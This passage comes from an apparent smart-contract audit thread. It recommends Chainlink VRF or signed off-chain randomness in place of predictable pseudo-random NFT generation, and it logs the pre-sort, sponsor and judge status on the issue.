Also, it is important to generate NFTs randomly, but currently, all random values are implemented as pseudo-random. All of these are predictable and manipulable values. It is recommended to use Chainlink VRF or at least use random values generated off-chain and verify it with a signature.
40 hours
#0 - c4-pre-sort
2024-02-25T20:36:41Z
raymondfam marked the issue as high quality report
#1 - c4-sponsor
2024-03-04T01:48:15Z
brandinho (sponsor) acknowledged
#2 - c4-judge
2024-03-19T08:10:01Z
HickupHH3 marked the issue as grade-a